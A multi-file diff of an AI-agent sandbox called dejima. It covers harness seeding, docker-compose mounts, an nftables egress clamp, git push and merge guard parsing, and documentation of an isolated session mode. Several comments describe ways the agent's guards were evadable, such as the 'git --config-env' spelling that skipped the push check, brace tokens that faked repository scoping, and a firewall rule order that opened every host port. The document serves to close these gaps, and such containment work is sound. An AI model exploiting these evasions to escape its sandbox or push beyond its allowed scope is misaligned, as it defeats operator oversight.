|
||||
# the list that mounts it.
|
||||
_CLINE_PROVIDERS_FILE="$settings/providers.json"
|
||||
}
|
||||
|
||||
# The per-project state this harness keeps on the host.
|
||||
@@ -413,6 +445,16 @@ harness_staged_config() {
|
||||
# servers, which are commands cline executes: a session that could write the
|
||||
# host's copy would be choosing what runs there next time.
|
||||
harness_seed() {
|
||||
# This launch's provider configuration, which harness_prepare_config
|
||||
# wrote into the staging directory. Seeded rather than mounted so the
|
||||
# session owns the copy it edits and nothing it writes reaches the host -
|
||||
# and so it arrives without the state mount, which an isolated launch
|
||||
# does not have (#393).
|
||||
#
|
||||
# Empty until that hook has run. Core loads this list twice for exactly
|
||||
# that reason, and the first pass simply has nothing to emit here.
|
||||
[ -z "${_CLINE_PROVIDERS_FILE:-}" ] \
|
||||
|| emit_seed_from "$_CLINE_PROVIDERS_FILE" ".cline/data/settings/providers.json"
|
||||
emit_seed_from "$HOME/.cline/settings.json" ".cline/settings.json"
|
||||
emit_seed_from "$HOME/.cline/cline_mcp_settings.json" ".cline/cline_mcp_settings.json"
|
||||
}
|
||||
|
||||
@@ -230,6 +230,14 @@ RUN mkdir -p $SANDBOX_HOME/.ssh && \
|
||||
chown $SANDBOX_USER:$SANDBOX_USER $SANDBOX_HOME/.ssh && \
|
||||
chmod 700 $SANDBOX_HOME/.ssh
|
||||
|
||||
# The working directory an isolated session gets instead of a project mount.
|
||||
# Outside $SANDBOX_HOME on purpose: bin/dejima still reads this path on the
|
||||
# HOST for a few things (an origin URL, a self-hosting check), so a path the
|
||||
# operator might plausibly have - ~/work - would have those read a real
|
||||
# directory of theirs. Nothing on a host is at /dejima.
|
||||
RUN mkdir -p /dejima/work && \
|
||||
chown -R $SANDBOX_USER:$SANDBOX_USER /dejima
|
||||
|
||||
# Pre-create the nvim data/state/cache dirs owned by the sandbox user,
|
||||
# since they're mounted as named volumes in docker-compose.yml: Docker
|
||||
# seeds a fresh named volume from whatever already exists at the mount
|
||||
|
||||
@@ -157,7 +157,13 @@ services:
|
||||
# no write scopes). Used by `gh` and, via `gh auth setup-git`, by git
|
||||
# itself for github.com over HTTPS - see the firewall/Dockerfile for
|
||||
# why that's the only path GitHub is reachable through at all.
|
||||
GH_TOKEN: ${GH_TOKEN:-}
|
||||
#
|
||||
# bin/dejima's SANDBOX_ prefixed copy rather than GH_TOKEN itself,
|
||||
# because the filter container needs that one for the authenticated
|
||||
# ranges fetch whatever the session is trusted with, and an isolated
|
||||
# launch is trusted with less. Empty is an ordinary state here: it is
|
||||
# what a host that configured no such token has always had.
|
||||
GH_TOKEN: ${SANDBOX_GH_TOKEN-}
|
||||
# Points git at the gitconfig copy mounted below instead of the
|
||||
# default ~/.gitconfig - see that mount's comment for why it can't
|
||||
# just live at ~/.gitconfig directly.
|
||||
@@ -225,7 +231,16 @@ services:
|
||||
# fixed /workspace) so Claude Code's project/session-history keying
|
||||
# (based on cwd) lines up with the host, letting a session started
|
||||
# here be resumed on the host with `claude --resume`.
|
||||
- ${WORKSPACE_DIR:?set WORKSPACE_DIR to the project directory to mount}:${WORKSPACE_DIR}
|
||||
#
|
||||
# One variable holding the whole spec rather than a source and a target,
|
||||
# because `--isolated` has to mount no host path here at all and an
|
||||
# entry in this list cannot be left empty. There it names the
|
||||
# isolated-work volume below, which bin/dejima gives this run's own name
|
||||
# and removes afterwards - the same rule as the other four, rather than
|
||||
# an anonymous volume whose reaping depends on what `compose run --rm`
|
||||
# does with one. bin/dejima always sets it: ordinarily to the project
|
||||
# directory at its own path, for the keying reason above.
|
||||
- ${SANDBOX_WORKSPACE_MOUNT:?set by bin/dejima - the project directory, or a container-local path for --isolated}
|
||||
# ~/.claude is enumerated, never mounted whole. A single-file bind
|
||||
# mount is pinned to the dentry at its path, so a host-side rename -
|
||||
# a sync daemon, or Claude Code's own atomic writes - unlinks it, the
|
||||
@@ -319,7 +334,18 @@ services:
|
||||
volumes:
|
||||
# Shell history, shared by every harness - it is the container's shell that
|
||||
# writes it, not the agent.
|
||||
#
|
||||
# Named like the three below so bin/dejima can give an `--isolated` launch
|
||||
# one of its own: this volume is shared by every project, so the default is
|
||||
# a session reading what the last one typed anywhere on the host.
|
||||
#
|
||||
# The default repeats the project name, which is not a typo. An entry with
|
||||
# no `name:` gets `<compose project>_<key>`, and the project here is
|
||||
# `dejima` while the key is `dejima-bashhistory` - so anything shorter is a
|
||||
# DIFFERENT volume, and every ordinary launch would start from an empty
|
||||
# history with the real one orphaned.
|
||||
dejima-bashhistory:
|
||||
name: ${SANDBOX_BASH_HISTORY:-dejima_dejima-bashhistory}
|
||||
# Named explicitly so bin/dejima can give each project its own set. These
|
||||
# persist across containers by design (a plugin install should not have to
|
||||
# happen every launch), which without the split meant one project's session
|
||||
@@ -329,6 +355,11 @@ volumes:
|
||||
#
|
||||
# The defaults reproduce the previous names exactly, so a `docker compose`
|
||||
# invocation that bypasses bin/dejima behaves as it did.
|
||||
# The working directory of an `--isolated` launch, which mounts no host
|
||||
# path there. Referenced only when the workspace mount above names it, so
|
||||
# an ordinary launch neither uses nor creates it.
|
||||
isolated-work:
|
||||
name: ${SANDBOX_ISOLATED_WORK:-dejima_isolated-work}
|
||||
nvim-data:
|
||||
name: ${SANDBOX_NVIM_DATA:-dejima_nvim-data}
|
||||
nvim-state:
|
||||
|
||||
+63
-6
@@ -131,6 +131,7 @@ HOST_ADDR=${EGRESS_HOST_ADDR:-}
|
||||
# grant over everything the host publishes. `any` restores the unclamped rule,
|
||||
# explicitly. See the clamp below for why none is the right default.
|
||||
HOST_PORTS=${EGRESS_HOST_PORTS:-}
|
||||
HOST_CANDIDATES=${EGRESS_HOST_CANDIDATES:-}
|
||||
# Self-check probes. example.com is reserved by RFC 2606 for documentation and
|
||||
# resolves globally, which is what makes it a usable negative: if it does not
|
||||
# resolve here, the resolver is restricting names rather than simply broken.
|
||||
@@ -557,6 +558,40 @@ emit_host_clamp() {
|
||||
# port or a ruleset nft refuses after the fact, which is the same reasoning as
|
||||
# classify_entry's: a destination that looks configured and is silently refused
|
||||
# is the worst of the three.
|
||||
# The ports of destinations the launcher configured AT the host's own address.
|
||||
#
|
||||
# The launcher knows which destinations this launch configured and cannot know
|
||||
# the host's address; this process works that out from the default route a few
|
||||
# lines below. So it passes candidates - a literal address with an explicit
|
||||
# port, each one it is sure of - and the decision is made here, where both
|
||||
# halves are known. Nothing resolves a name on either side: a candidate whose
|
||||
# address is not the host's is simply not the host's.
|
||||
#
|
||||
# Without this the clamp, which is matched before every wider rule, answers
|
||||
# `ports none` for a host-resident Loki or self-served model at the gateway
|
||||
# address - working before only because the open-class permit answered first.
|
||||
fold_host_candidates() { # <host address>...
|
||||
local cand addr port a
|
||||
[ -n "$HOST_CANDIDATES" ] || return 0
|
||||
# `any` is already wider than anything a candidate could add.
|
||||
[ "$HOST_PORTS" = any ] && return 0
|
||||
for cand in $HOST_CANDIDATES; do
|
||||
addr=${cand%:*}
|
||||
port=${cand##*:}
|
||||
case "$port" in
|
||||
""|*[!0-9]*) die "EGRESS_HOST_CANDIDATES entry '$cand' has no TCP port" ;;
|
||||
esac
|
||||
for a in "$@"; do
|
||||
[ "$addr" = "$a" ] || continue
|
||||
case ",${HOST_PORTS}," in
|
||||
*",$port,"*) ;;
|
||||
*) HOST_PORTS="${HOST_PORTS:+$HOST_PORTS,}$port" ;;
|
||||
esac
|
||||
break
|
||||
done
|
||||
done
|
||||
}
|
||||
|
||||
validate_host_ports() {
|
||||
local p
|
||||
[ "$HOST_PORTS" = any ] && return 0
|
||||
@@ -771,15 +806,26 @@ EOF
|
||||
|
||||
cat <<EOF
|
||||
|
||||
# The container's own host, as a single address, on the ports it was told
|
||||
# to open and no others.
|
||||
#
|
||||
# Before the open class, not after it, because this is the narrower rule
|
||||
# and the first match wins. The host's address reaches literal_v4 by
|
||||
# several ordinary routes - a host-resident LOKI_URL, a self-served
|
||||
# model's base_url, \`dejima-allow <gateway>\` - and from there the open
|
||||
# permit below answered for it first, on every port, including sshd and
|
||||
# the remote-access front door. Configuring one host service opens that
|
||||
# service, which is what docs/security.md says it does.
|
||||
EOF
|
||||
emit_host_clamp host_v4
|
||||
|
||||
cat <<EOF
|
||||
|
||||
# The open class: names the launcher permitted and addresses it supplied,
|
||||
# on any port. DNS to them is refused above along with everyone else's.
|
||||
ip daddr @oname_v4 goto permit
|
||||
ip daddr @literal_v4 goto permit
|
||||
|
||||
# The container's own host, as a single address, on the ports it was told
|
||||
# to open and no others.
|
||||
EOF
|
||||
emit_host_clamp host_v4
|
||||
|
||||
cat <<EOF
|
||||
|
||||
@@ -1418,7 +1464,12 @@ resolve_one() {
|
||||
local answers line
|
||||
# A only: the resolver is configured to answer no AAAA at all, so asking for
|
||||
# one spends a query to be told nothing.
|
||||
answers=$(dig +short +time=3 +tries=2 @127.0.0.1 "$1" A 2>/dev/null) || return 0
|
||||
# Non-zero when dig itself failed, not zero: that is a lookup which did not
|
||||
# come back - a resolver a moment behind the container is exactly it - and so
|
||||
# the one case the positive checks' retry exists to absorb. Returning 0 there
|
||||
# reported success with no address, which retry_positive takes as an answer
|
||||
# and the caller then dies on (#345).
|
||||
answers=$(dig +short +time=3 +tries=2 @127.0.0.1 "$1" A 2>/dev/null) || return 1
|
||||
while IFS= read -r line; do
|
||||
[[ "$line" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}$ ]] || continue
|
||||
printf '%s\n' "$line"
|
||||
@@ -1481,8 +1532,14 @@ cmd_apply() {
|
||||
discover_upstreams
|
||||
|
||||
local host_addrs forge_host
|
||||
validate_host_ports
|
||||
# Discover, then fold the launcher's candidates in, then validate the whole
|
||||
# list: the candidates' ports become part of what the clamp permits, so they
|
||||
# are held to the same check rather than trusted for having crossed a
|
||||
# process boundary.
|
||||
host_addrs=$(discover_host_addr)
|
||||
# shellcheck disable=SC2086
|
||||
fold_host_candidates $host_addrs
|
||||
validate_host_ports
|
||||
forge_host=$(host_of_url "$FORGE_META_URL")
|
||||
|
||||
build_entries "$forge_host"
|
||||
|
||||
+23
-3
@@ -100,6 +100,20 @@ dejima_push_verdict() { # <repo-dir> <git argv...>
|
||||
--git-dir=*|--work-tree=*)
|
||||
repo_override=1
|
||||
;;
|
||||
# `-c` with the value read from the environment instead of argv,
|
||||
# so it sets a pushurl the same way and has to be carried into the
|
||||
# resolution below the same way. In the separated spelling it also
|
||||
# takes the next word, which an unrecognised option would leave to
|
||||
# be read as the subcommand - and a subcommand that is not `push`
|
||||
# ends this function having checked nothing.
|
||||
--config-env)
|
||||
i=$((i + 1))
|
||||
[ "$i" -lt "${#argv[@]}" ] \
|
||||
&& config_overrides+=(--config-env "${argv[$i]}")
|
||||
;;
|
||||
--config-env=*)
|
||||
config_overrides+=("${argv[$i]}")
|
||||
;;
|
||||
--exec-path|--namespace|--super-prefix)
|
||||
i=$((i + 1))
|
||||
;;
|
||||
@@ -526,11 +540,17 @@ _dejima_forge_path_verdict() {
|
||||
# endpoint, so the flags go.
|
||||
case "$arg" in -*) continue ;; esac
|
||||
[ "$arg" = graphql ] && { scopable=1; continue; }
|
||||
path="${arg#/}"
|
||||
# gh substitutes {owner} and {repo} from the checkout, so a path
|
||||
# carrying them names this repository by construction and comparing
|
||||
# the literal braces would refuse it.
|
||||
case "$arg" in *'{'*) scopable=1; continue ;; esac
|
||||
path="${arg#/}"
|
||||
# the literal braces would refuse it. Those two tokens only, and
|
||||
# only in an endpoint under the segment: any other brace says
|
||||
# nothing about which repository the call reaches, and a value
|
||||
# carrying one - `-f name={x}`, `--template '{{.login}}'` - would
|
||||
# otherwise be enough to assert the whole command is scoped.
|
||||
case "$path" in
|
||||
"$segment"/*'{owner}'*|"$segment"/*'{repo}'*) scopable=1; continue ;;
|
||||
esac
|
||||
case "$path" in "$segment"/*/*) ;; *) continue ;; esac
|
||||
path="${path#"$segment"/}"
|
||||
owner="${path%%/*}"
|
||||
|
||||
+2
-2
@@ -464,8 +464,8 @@ prefer credentials that cannot do anything else: a token that raises an
|
||||
anonymous API rate limit should be a fine-grained token with no permissions
|
||||
and no repository access, not a general-purpose one.
|
||||
|
||||
**A per-run fetch, not a per-container one.** The privileged job starts
|
||||
twenty-seven container pairs, and each filter container asks the forge for its
|
||||
**A per-run fetch, not a per-container one.** The privileged job starts a
|
||||
container pair per test, and each filter container asks the forge for its
|
||||
published address ranges before it brings the policy up. Done once per
|
||||
container that is a burst, and GitHub answers a burst on `/meta` with a `403`
|
||||
from its secondary rate limit - which is not the hourly ceiling a token raises,
|
||||
|
||||
+112
-3
@@ -55,6 +55,19 @@ Every tool takes `--help`, which describes its own arguments and what they do.
|
||||
That is the fastest answer to "what does this flag mean"; this page is for the
|
||||
config file behind them.
|
||||
|
||||
**A launch flag overrides the file for that launch only, and every `--no-*`
|
||||
flag only ever narrows.** None of those turns a setting back on: a config that
|
||||
says `off` is a decision somebody made in a file they can reread, and a flag
|
||||
that could undo one in passing would make the file's answer the weaker of the
|
||||
two. `--isolated` is the far end of the same idea, narrowing several at once:
|
||||
see [Isolated sessions](#isolated-sessions).
|
||||
|
||||
The rule is about the `--no-*` family, not about every flag. `--ro`, `--rw`,
|
||||
`--include`, `--allow-github-push` and a `--forge` naming a forge the config
|
||||
did not each widen what one launch can reach, which is what they are for - and
|
||||
each is visible in the command that used it, where a config file's answer is
|
||||
not.
|
||||
|
||||
### `[core]` - what this sandbox runs
|
||||
|
||||
The three selections come first because everything below depends on them: the
|
||||
@@ -137,7 +150,7 @@ required: an identity supplies what it names and no more.
|
||||
|
||||
| Key | Default | Purpose |
|
||||
| --- | --- | --- |
|
||||
| `ssh_key` | unset | the SSH key this identity pushes with |
|
||||
| `ssh_key` | unset | the SSH key this identity pushes with. An empty file counts as no key at all rather than a refusal, so pointing this at one is how a launch keeps the setting and forwards your agent instead |
|
||||
| `user_name` | unset | `user.name` for commits made in the session |
|
||||
| `user_email` | unset | `user.email` for commits made in the session |
|
||||
| `token_file` | *(the forge's own default)* | this identity's Gitea/Forgejo API token, overriding `[forge.gitea] token_file`. Read only when `[core] forge = gitea` |
|
||||
@@ -297,8 +310,10 @@ there, and neither mechanism helps if the list is too long to finish reading.
|
||||
Every name is validated before any of them is shown, so what you are confirming
|
||||
is what will be added and no entry can carry an escape sequence that rewrites
|
||||
the lines above it. Confirming needs a terminal, so a script does them one at a
|
||||
time. Both write the
|
||||
approval first - that is the part that grants - and report separately on the
|
||||
time.
|
||||
|
||||
`dejima-allow --project` and `dejima-dep add --project` both write the approval
|
||||
first - that is the part that grants - and report separately on the
|
||||
declaration, so a project you can't write to still gets you the approval.
|
||||
`--global` writes no declaration at all: there is no project to declare in.
|
||||
|
||||
@@ -1054,6 +1069,100 @@ that is true, rather than moving an operator's files on its own.
|
||||
`dejima-share adopt <project>` moves them into one project's share after
|
||||
showing what it will move and asking, and it never overwrites.
|
||||
|
||||
## Isolated sessions
|
||||
|
||||
`dejima --isolated` runs a session with nothing before it and nothing after it.
|
||||
No project is mounted, no memory or transcript crosses either boundary, and the
|
||||
one thing that outlives it is a `~/shared` of its own.
|
||||
|
||||
```sh
|
||||
dejima --isolated # from anywhere - the directory you are in is not used
|
||||
```
|
||||
|
||||
Naming a directory is **refused**, not ignored: `dejima --isolated ~/proj`
|
||||
stops rather than starting a session that looks like it is working on a
|
||||
project it cannot see. Harness arguments after `--` still pass through.
|
||||
|
||||
| | ordinary launch | `--isolated` |
|
||||
|---|---|---|
|
||||
| working directory | the project, read-write at its own path | `/dejima/work`, container-local |
|
||||
| `~/shared` | this project's, shared by every session against it | made fresh, never reused |
|
||||
| memory and transcripts | `~/.claude/projects/<slug>`, mounted | none |
|
||||
| shell history, nvim state | volumes that outlive the container | this run's own, removed with it |
|
||||
| domains, dependencies, tools | the global set plus this project's | the global set only |
|
||||
| `[mounts]` lists | applied | dropped, and named at launch |
|
||||
| forge, workflow | as configured | `none` and `local-only`, unless named |
|
||||
| forge token, `[github] token_file` | both cross | neither, unless a forge is named |
|
||||
| forwarded ssh agent | mounted when the workflow pushes | not mounted, unless you name a pushing workflow and have no key |
|
||||
| `[identity.<name>] ssh_key` | mounted | mounted |
|
||||
| conversation log, epitaph | as configured | off |
|
||||
|
||||
Every shipped harness supports it. A harness whose model configuration has to
|
||||
be a file inside its own state directory gets it from a staging directory
|
||||
that goes away with the launch, rather than from the state mount this mode
|
||||
does not have.
|
||||
|
||||
Your own `~/.claude` hooks, skills, commands, agents and output styles are
|
||||
still mounted read-only, as is `[mounts] nvim_config`. Those are yours, no
|
||||
session can write them, and a session without them is a session without the
|
||||
tools you built for it.
|
||||
|
||||
**The directory you launch from decides nothing.** An approval store is found
|
||||
by walking up from the launch directory, so a home directory that was once
|
||||
approved as a project would otherwise hand an anonymous session that project's
|
||||
allowed domains and its dependency layer - which is the whole reason to be able
|
||||
to run this from a fresh terminal in `$HOME` without thinking about it.
|
||||
|
||||
**There is no config key, in any spelling.** A mode this strong is a decision
|
||||
to make in the command, where it is visible, rather than a line in a file that
|
||||
every later launch inherits. For the same reason `--ro` and `--rw` are refused
|
||||
rather than dropped: a path typed into this command cannot be quietly ignored,
|
||||
where a `[mounts]` list written months ago can be - with a line saying which.
|
||||
|
||||
**What it gives up.** The conversation log and the epitaph both read a
|
||||
transcript on the host, and this mode mounts none, so both are off and the
|
||||
launch says so rather than leaving you to find an empty record later. The
|
||||
exit-time audit is skipped for the same reason: its subject is the project's
|
||||
own files. If you want either back in this mode, that is
|
||||
[#388](https://gitbox.branderson.io/dejima/dejima/issues/388) - both are your
|
||||
record rather than the agent's, and neither ever reaches a future session.
|
||||
|
||||
**No forge, unless you name one on the same command.** `--isolated` sets
|
||||
`[core] forge` to `none` and `[core] workflow` to `local-only` for that launch,
|
||||
and withholds `[github] token_file` with them. Naming either is how you ask for
|
||||
a session that clones and opens a pull request, which is a real use of this
|
||||
mode:
|
||||
|
||||
```sh
|
||||
dejima --isolated # no forge, pushes nothing
|
||||
dejima --isolated --forge gitea --workflow worktree-pr # clones, pushes, opens a PR
|
||||
```
|
||||
|
||||
Order does not matter: `--forge gitea --isolated` means the same thing, and
|
||||
naming a forge brings the credentials back with it.
|
||||
|
||||
Two rows surprise people. `[github] token_file` is withheld even though it is
|
||||
not a forge setting. And an `[identity.<name>] ssh_key` is mounted even though
|
||||
the forwarded agent is not, so a session with no forge still holds a key that
|
||||
can reach a host over ssh - withholding that key too, for any launch whose
|
||||
workflow never pushes, is
|
||||
[#392](https://gitbox.branderson.io/dejima/dejima/issues/392).
|
||||
|
||||
The agent row has a condition worth reading twice: it is withdrawn when the
|
||||
workflow does not push **or** a usable key is configured. So the second
|
||||
command above - a pushing workflow, on a host with no `ssh_key` - does forward
|
||||
your agent into an isolated session.
|
||||
|
||||
The table is what this mode changes, not everything that crosses. `LOKI_URL`
|
||||
still reaches the session, and the model credential follows the rules in
|
||||
[docs/security.md](security.md#the-model-api-credential-never-enters-the-container)
|
||||
whatever the mode.
|
||||
|
||||
**Why each of those is the way it is**, and why this is a narrower blast
|
||||
radius rather than a stronger sandbox, is in
|
||||
[docs/security.md](security.md#a-session-with-no-project-mounted). Worth
|
||||
reading before relying on this mode.
|
||||
|
||||
## Reading what a session left behind
|
||||
|
||||
When a session compacts, the summary it writes is the only durable account of
|
||||
|
||||
+3
-1
@@ -27,7 +27,7 @@ run them.
|
||||
| `.dejima.md` | Project-level agent instructions, harness-agnostic: `CLAUDE.md`'s role under a neutral name. dejima loads a project's into the session context; this one is dejima's own |
|
||||
| `hooks/git-push-guard.sh` | `PreToolUse` hook: blocks pushes outside the allowed host(s)/branches. Turns the reported command into argv and asks `docker/guard-lib.sh` |
|
||||
| `hooks/deny-dangerous-bash.sh` | `PreToolUse` hook: blocks obviously destructive Bash commands |
|
||||
| `hooks/merge-guard.sh` | `PreToolUse` hook: applies the forge policy - the blocked merge command (`DEJIMA_MERGE_BLOCK`), and a command aimed at another repository - to a reported command. Named for the merge block, which is the rule it was created for |
|
||||
| `hooks/merge-guard.sh` | `PreToolUse` hook: applies the forge policy - the blocked merge command (`DEJIMA_MERGE_BLOCK`), the agent-written disclosure, and a command aimed at another repository - to a reported command |
|
||||
| `docker/guard-lib.sh` | The push and merge policy itself, read out of argv. The two hooks above and the two PATH shadows all call it, so a bypass is fixed once rather than twice |
|
||||
| `hooks/dejima-notify.sh` | Drops an empty `waiting`/`done` marker for a remote-enabled session. Registered as a `Stop` hook only; `waiting` is there for a harness that can say it without having stopped - see [docs/remote-access.md](remote-access.md) |
|
||||
| `bin/dejima-attach` | Lists live sessions and attaches to one; the shared core behind both remote front doors |
|
||||
@@ -51,6 +51,7 @@ run them.
|
||||
| `bin/dejima-harness-lib.sh` | Loads the selected harness's plugin and provides the `emit_*` functions it declares through; the guarded-store refusal runs in `emit_mount`. Not on PATH |
|
||||
| `bin/harness/<name>.sh` | One per supported harness: what dejima does for that harness that no manifest value could state. Trusted computing base, sourced by `bin/dejima` |
|
||||
| `bin/dejima-slug-lib.sh` | The `~/.claude/projects` slug scheme and which slugs belong to a workspace; sourced by `bin/dejima` (what to mount) and `bin/dejima-epitaph` (whose transcripts to keep), so the two cannot disagree. Not on PATH |
|
||||
| `bin/dejima-version-lib.sh` | Which release a checkout is on, from `git describe` rather than from any file in the tree - so it cannot claim a release a checkout has been pulled past. Sourced by `bin/dejima` (`--version`, the banner) and `bin/dejima-update-check` (what the remote has that this does not). Not on PATH |
|
||||
| `bin/dejima-ttyd` | Launches `ttyd` on loopback in front of `dejima-attach` |
|
||||
| `systemd/*.service` | User units for `dejima-ttyd` and `dejima-notify-watch`; ship disabled, installed by hand |
|
||||
| `docs/providers.md` | The manifest contract for the forge/workflow/harness axes, key by key, with the shipped manifests as worked examples |
|
||||
@@ -58,6 +59,7 @@ run them.
|
||||
| `docs/threat-model.md` | What is assumed hostile, and where each layer's compromise stops. Carries the blast-radius table `docs/security.md` also shows; a static test keeps the two identical |
|
||||
| `docs/research-review.md` | When to check dejima's reasoning against the field's, the standing questions that are the agenda, and the queue of bypasses not yet run against this implementation |
|
||||
| `docs/nginx-dejima.conf.example` | Reverse-proxy template for the web front door; deliberately not loadable as written |
|
||||
| `CHANGELOG.md` | What each release changed, for one question: should I update. A release is a date and the tag of that name on `main` is the only record of it - see `docs/release.md` §6 |
|
||||
|
||||
`bin/dejima` is the entry point: it resolves the project path,
|
||||
checks for a live `ssh-agent`, reads `GITEA_TOKEN`/`GH_TOKEN` from the token
|
||||
|
||||
+19
-6
@@ -438,12 +438,21 @@ Every `{{placeholder}}` in the assembled text must be on a fixed whitelist
|
||||
(`pr_command`, `issue_command`, `forge_name`, `forge_ssh_host`,
|
||||
`blocked_branches`, `container_id`, `project_dir`, `workspace_dir`,
|
||||
`session_id`, `resume_command`, `writable_mounts`, `network_allowlist`,
|
||||
`no_confirm_args`, `harness_state_dir`) - an unrecognized one is a
|
||||
`no_confirm_args`, `harness_state_dir`, `workspace_posture`,
|
||||
`project_posture`) - an unrecognized one is a
|
||||
hard refusal, not a literal pass-through. `{{session_id}}` and
|
||||
`{{container_id}}` are deliberately left as `@@SESSION_ID@@`/
|
||||
`@@CONTAINER_ID@@` markers instead of being resolved here, since neither is
|
||||
known until the container is actually running.
|
||||
|
||||
`workspace_posture` and `project_posture` are what
|
||||
[`--isolated`](configuration.md#isolated-sessions) changes. The preamble's
|
||||
claims about the mount, about `~/shared` being shared with every session
|
||||
against this project, and about the transcript outliving the container are
|
||||
substituted rather than written inline, because an isolated launch makes all
|
||||
three false - and a session that believes them leaves work for a resume that
|
||||
cannot happen.
|
||||
|
||||
### How the briefing reaches the session
|
||||
|
||||
**A session-start hook is a size-limited channel, which is why it is not the
|
||||
@@ -509,9 +518,10 @@ itself:
|
||||
`GITEA_SSH_HOST`, `GITEA_TOKEN`).
|
||||
|
||||
`hooks/git-push-guard.sh` reads `DEJIMA_PUSH_HOSTS` and
|
||||
`DEJIMA_BLOCKED_BRANCHES`; `hooks/merge-guard.sh` reads `DEJIMA_MERGE_BLOCK` as a
|
||||
regex-escaped literal command prefix. Two different failure directions,
|
||||
both deliberate:
|
||||
`DEJIMA_BLOCKED_BRANCHES`; `hooks/merge-guard.sh` reads `DEJIMA_MERGE_BLOCK` as
|
||||
the merge subcommand a workflow blocks, matched against the parsed argv rather
|
||||
than against the command string. Two different failure directions, both
|
||||
deliberate:
|
||||
|
||||
- `DEJIMA_PUSH_HOSTS` fails **closed** - empty means no host is allowed, so
|
||||
every push is refused. A no-forge or non-pushing workflow becomes
|
||||
@@ -519,8 +529,11 @@ both deliberate:
|
||||
- `DEJIMA_BLOCKED_BRANCHES` fails **open** - empty means no branch is
|
||||
protected, which is correct for a workflow with genuinely no branch
|
||||
policy.
|
||||
- `DEJIMA_MERGE_BLOCK` fails **open** the same way - empty makes
|
||||
`merge-guard.sh` inert rather than conditionally installed.
|
||||
- `DEJIMA_MERGE_BLOCK` fails **open** for the merge it names - empty blocks no
|
||||
merge, which is correct for a workflow with no merge policy. The guard
|
||||
itself stays active either way: it also adds the agent-written disclosure
|
||||
and holds a command to the repository the session is for, and neither of
|
||||
those is the workflow's to turn off.
|
||||
|
||||
## Validation
|
||||
|
||||
|
||||
@@ -118,3 +118,45 @@ looks like the safety net is not one. Name the keys. A queued privileged job, a
|
||||
manual check that was skipped, a forge that has still never been launched -
|
||||
those are the things a reader of `main` is entitled to know, and the release
|
||||
PR is where they are still true and still remembered.
|
||||
|
||||
Worth its own line too: **what an existing config stops being able to do.** A
|
||||
release that tightens a boundary can refuse an arrangement that worked, with
|
||||
nothing in the operator's config changed - and the ones that fail closed are
|
||||
the ones to name, because failing closed is quiet. An observability path is
|
||||
the worst case: a log shipper that can no longer reach its endpoint stops
|
||||
shipping and nothing else happens. Name the arrangement, what it now needs,
|
||||
and where the refusal shows up.
|
||||
|
||||
## 6. The version, and the entry in the changelog
|
||||
|
||||
A release is a date, and the tag of that name on `main` is the only record of
|
||||
it. Two steps, both at merge time, both easy to forget because nothing fails
|
||||
without them:
|
||||
|
||||
```sh
|
||||
git tag 2026.10.12 <the merge commit on main>
|
||||
git push origin 2026.10.12
|
||||
```
|
||||
|
||||
and in the same pull request, rename `CHANGELOG.md`'s `## Unreleased` heading
|
||||
to that date and open a fresh empty one above it. The date is the day it
|
||||
merges, so it cannot be written before the merge is made - which is why the
|
||||
heading waits rather than being guessed.
|
||||
|
||||
**There is nothing else to bump.** `dejima --version` reads `git describe`, so
|
||||
the tag is the version: no file records it, and none can disagree with it. A
|
||||
checkout pulled past a release reports `2026.10.12+37`, which is the honest
|
||||
answer for a checkout on no release.
|
||||
|
||||
**A second release on the same day gets a letter** - `2026.10.12b`, then `c`.
|
||||
Rare, and the format otherwise has no answer: the date is the whole name.
|
||||
`sort -V` orders it after the bare date, which is what the update notice
|
||||
compares with, so nothing else has to know about the shape. A letter rather
|
||||
than a fourth dotted number, because four dot-separated numbers beginning
|
||||
with a year and a month read as a private IPv4 address.
|
||||
|
||||
What an entry is for is one question - should I update, and what will I be
|
||||
getting - so it names what an operator would notice rather than what changed.
|
||||
The pull requests carry the detail and are linked from it. A tag is a record
|
||||
of what shipped, not a version anyone may stay on; `CHANGELOG.md` says so at
|
||||
the top, and `SECURITY.md` is where that is binding.
|
||||
|
||||
+101
-9
@@ -34,7 +34,9 @@ than the thing inferred from silence.
|
||||
to [dejima-devbox-hardener](https://gitbox.branderson.io/dejima/dejima-devbox-hardener).
|
||||
Run on a laptop with no VM layer, the row below the container is the
|
||||
operator's own machine, and dejima has nothing to say about it. See
|
||||
[Which deployment this describes](threat-model.md#which-deployment-this-describes).
|
||||
[Which deployment this describes](threat-model.md#which-deployment-this-describes),
|
||||
and [Using dejima on its own](threat-model.md#using-dejima-on-its-own) for
|
||||
what still holds there and what to do about the rest.
|
||||
- **Anything finer than a session.** The unit of isolation is one container for
|
||||
one session. An MCP server, a hook, or a tool the session runs inherits the
|
||||
session's whole reach - dejima reports that a session *added* an MCP server
|
||||
@@ -321,6 +323,52 @@ can make; it is one the audit reports. See
|
||||
overlaid (they're config, not fixed paths a static mount can cover) and
|
||||
remain fully writable; the exit-time audit below reports changes to
|
||||
either, but only after the session ends - it doesn't stop them.
|
||||
|
||||
### A session with no project mounted
|
||||
|
||||
`dejima --isolated` removes this whole class rather than bounding it: there is
|
||||
no mounted project to be written, no `.git` to plant a hook in, and no
|
||||
harness state directory on the host for a session to leave anything in. Its
|
||||
working directory is container-local and its `~/shared` is made fresh for that
|
||||
session alone.
|
||||
|
||||
**It narrows the forge credential too**, which is the widest thing a session
|
||||
holds: a Gitea token is account-wide (see
|
||||
[To your forge, the sandbox is you](#to-your-forge-the-sandbox-is-you)), so an
|
||||
ordinary session can read and write every repository its operator can.
|
||||
`--isolated` sets `forge` to `none` and `workflow` to `local-only` for that
|
||||
launch, and blanks the session's copy of `[github] token_file` - core's
|
||||
read-only GitHub credential, which crosses for every ordinary session
|
||||
whatever forge is selected, and which is read-only across the operator's
|
||||
*private* repositories rather than scoped to one. So no forge credential of
|
||||
either kind reaches an isolated session, and nothing tells it to push.
|
||||
|
||||
Naming a forge on the same command line brings that back: it is the operator
|
||||
saying this session is meant to reach one, and nothing is narrowed from there.
|
||||
The filter container keeps the GitHub token either way, because that is what
|
||||
authenticates dejima's own fetch of GitHub's address ranges - a request about
|
||||
the allowlist, made outside the session's reach.
|
||||
|
||||
**The forwarded agent is usually not mounted; a configured key always is.**
|
||||
The agent is withdrawn when the workflow does not push **or** a usable key is
|
||||
configured, and `--isolated` defaults to a workflow that does not push - so
|
||||
the ordinary isolated launch forwards no agent. Name a pushing workflow on a
|
||||
host with no `[identity.<name>] ssh_key`, which the example above does, and it
|
||||
is forwarded like any other pushing launch. The flag does not decide this; the
|
||||
workflow and the key do.
|
||||
|
||||
